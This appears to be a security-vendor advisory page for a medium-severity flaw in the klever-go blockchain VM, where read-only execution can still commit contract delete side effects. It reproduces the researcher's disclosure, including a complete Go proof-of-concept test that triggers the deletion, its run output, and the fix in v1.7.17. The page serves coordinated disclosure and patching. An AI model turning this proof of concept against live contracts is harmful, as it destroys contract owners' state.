Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-jc6w-wmfc-fh33

MEDIUMFix: klever-io/klever-go@333f6ec

GHSA-jc6w-wmfc-fh33 is a medium-severity (CVSS 6.3) CWE-693 vulnerability in github.com/klever-io/klever-go. O3 Security confirms whether GHSA-jc6w-wmfc-fh33 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Klever-Go KVM read-only execution can commit contract delete and upgrade side effects

Also known asCVE-2026-46403GO-2026-5461
Published
May 21, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-jc6w-wmfc-fh33.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk
0.00%0.28%0.56%0.84%0.3%0.3%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-jc6w-wmfc-fh33 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 360,781 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/klever-io/klever-go

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Publisher note

Fixed in v1.7.17. Operators running < v1.7.17 should upgrade. Contract delete and upgrade host-core paths now reject execution when runtime.ReadOnly() is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.

Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).

This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under GHSA-74m6-4hjp-7226 so each issue receives its own CVE.

The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.


Private Vulnerability Report

Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211

2.2 KVM read-only execution can commit contract delete side effects

Severity : Medium Confidence : HIGH Attack Complexity : MEDIUM PoC Status : Confirmed

Description

KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. The hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when runtime.ReadOnly() is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, the output context merges DeletedAccounts into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.

The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.

Location

  1. baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097
  2. baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099
  3. execution.go, doExecContractDelete(), line 237
  4. execution.go, doExecContractDelete(), line 246
  5. execution.go, executeUpgrade(), line 792
  6. execution.go, executeUpgrade(), line 831
  7. execution.go, executeDelete(), line 839
  8. execution.go, executeDelete(), line 849
  9. output.go, PopMergeActiveState(), line 103
  10. output.go, mergeVMOutputs(), line 615
  11. process.go, processVMOutput(), line 755
  12. process.go, processVMOutput(), line 765

Preconditions

  1. A contract workflow invokes a callee through KVM read-only execution.
  2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.
  3. The target contract is upgradeable/deletable according to its KVM code metadata.
  4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.

Impact

Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that DeletedAccounts changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.

Exploit Cost

The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.

Steps to Reproduce

  1. Place poc_kvm_readonly_delete_side_effect_test.go in an empty directory.
  2. Run the dependency commands listed in the PoC header.
  3. Run GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go.
  4. Observe that the parent contract invokes a child contract through ExecuteReadOnlyWithTypedArguments.
  5. Observe that the child contract uses the production managed delete hook against a target contract it owns.
  6. Observe that the final VM output contains the target address in DeletedAccounts despite the delete action being triggered through read-only execution.

Proof-of-Concept Result

Running GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.

# command-line-arguments.test
/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack
/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
=== RUN   TestPoC_KVMReadOnlyCanCommitDeleteSideEffect
    poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0
    poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1
    poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true
--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)
PASS
ok  	command-line-arguments	0.007s

Suggested Fix

Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.

Proof-of-Concept Source

poc_kvm_readonly_delete_side_effect_test.go

package poc

/*
Target contract   : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability     : Read-only execution isolation bypass with contract delete side effect
Severity          : Medium
How to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output   : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/[email protected]; go get github.com/stretchr/[email protected]; go mod tidy
*/

import (
	"testing"

	contextmock "github.com/klever-io/klever-go/kvm/mock/context"
	worldmock "github.com/klever-io/klever-go/kvm/mock/world"
	test "github.com/klever-io/klever-go/kvm/testcommon"
	"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
	"github.com/klever-io/klever-go/vmcommon"
	"github.com/stretchr/testify/require"
)

func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
	// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
	targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")

	// Record the initial delete side-effect state before any read-only execution occurs.
	deletedBefore := make([][]byte, 0)
	require.NotContains(t, deletedBefore, targetAddress)

	vmOutput, err := test.BuildMockInstanceCallTest(t).
		WithContracts(
			// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
			test.CreateMockContract(test.ParentAddress).
				WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
					parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
						host := parentInstance.Host

						// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
						result := vmhooks.ExecuteReadOnlyWithTypedArguments(
							host,
							100000,
							[]byte("deleteTarget"),
							test.ChildAddress,
							nil,
						)
						require.Equal(t, int32(0), result)

						return parentInstance
					})
				}),
			// The child contract is called in read-only mode but attempts to delete a contract it owns.
			test.CreateMockContract(test.ChildAddress).
				WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
					childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
						host := childInstance.Host
						managedTypes := host.ManagedTypes()

						// Encode the target address and call the production ManagedDeleteContract hook.
						destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
						argsHandle := managedTypes.NewManagedBuffer()
						managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)

						vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)

						return childInstance
					})
				}),
			// The target contract is upgradeable/deletable and owned by the read-only child.
			test.CreateMockContract(targetAddress).
				WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
				WithOwnerAddress(test.ChildAddress).
				WithMethods(),
		).
		// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
		WithInput(test.CreateTestContractCallInputBuilder().
			WithRecipientAddr(test.ParentAddress).
			WithGasProvided(500000).
			WithFunction("callReadOnlyChild").
			Build()).
		AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})

	require.NoError(t, err)

	// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
	deletedAfter := vmOutput.DeletedAccounts
	require.Greater(t, len(deletedAfter), len(deletedBefore))
	require.Contains(t, deletedAfter, targetAddress)

	t.Logf("deleted_accounts_before=%d", len(deletedBefore))
	t.Logf("deleted_accounts_after=%d", len(deletedAfter))
	t.Logf("target_deleted=%t", true)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/klever-io/klever-goall versions1.7.17

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klever-io/klever-go. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/klever-io/klever-go to 1.7.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jc6w-wmfc-fh33 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jc6w-wmfc-fh33 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jc6w-wmfc-fh33. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Publisher note **Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. Patch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory). This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/kle
O3 Security · Impact-Aware SCA

Is GHSA-jc6w-wmfc-fh33 in your dependencies?

O3 detects GHSA-jc6w-wmfc-fh33 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-jc6w-wmfc-fh33: klever-go Denial of… | O3 Security